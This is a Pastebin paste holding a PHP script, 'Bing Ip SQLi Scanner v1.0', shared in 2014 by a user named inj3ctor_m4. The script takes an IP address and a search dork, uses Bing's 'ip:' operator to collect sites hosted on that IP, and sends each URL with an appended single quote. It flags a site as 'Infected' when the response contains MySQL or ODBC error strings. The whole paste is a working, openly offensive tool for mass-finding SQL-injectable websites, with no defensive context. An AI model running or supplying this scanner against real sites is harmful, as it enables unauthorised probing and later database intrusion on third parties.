inj3ctor_m4

Bing Ip SQLi Scanner v1.0

Aug 4th, 2014
1,757
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.51 KB | None | 0 0
  1. <?php
  2. /*
  3. [PHP] Bing Ip SQLi Scanner v1.0
  4. Coder: inj3ctor_m4
  5. */
  6.  
  7. error_reporting(0);
  8. @set_time_limit(0);
  9. if(count($argv)<3)
  10. {
  11.  
  12. echo"\n Usage : php ".$_SERVER["PHP_SELF"]." 127.0.0.1 dork \n";
  13. die();
  14. }
  15.  
  16. $ip = $argv[1];
  17. $dork = $argv[2];
  18.  
  19. echo"\nSTART SCANNING SQLi FROM $ip \n\n";
  20.  
  21. $bing = urlencode("ip:$ip $dork");
  22.  
  23. for($i=1;$i<=10+10;$i++){
  24.     $src = getsource("http://www.bing.com/search?q=$bing&first=$i");
  25.     preg_match_all('/<h2><a href="(.*?)" h="/',$src,$matches);
  26.         }
  27.     $sites = array_unique($matches[1]);
  28.     foreach($sites as $site){
  29.        
  30. $get = getsource("$site%27");
  31. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * FROM|supplied argument is not a valid MySQL|Microsoft OLE DB Provider for ODBC Drivers error|Syntax error|Fatal error/i",$get)) {
  32.  
  33. echo urldecode($site)." >> Infected\n";
  34. }
  35. else{
  36. echo urldecode("$site")."\n";
  37. }
  38. }
  39.  
  40. function getsource($site){
  41.  
  42.     if (function_exists('curl_init')) {
  43.  
  44.         $ch = @curl_init($site);
  45.         @curl_setopt($ch, CURLOPT_HEADER, FALSE);
  46.         @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  47.         @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  48.         @curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  49.         $source = @curl_exec($ch);
  50.         @curl_close($ch);
  51.         return $source;
  52.  
  53.     }
  54.     else {
  55.    
  56.         return @file_get_contents($site);
  57.    
  58.     }
  59. }
  60.  
  61. ?>
Advertisement
Add Comment
Please, Sign In to add comment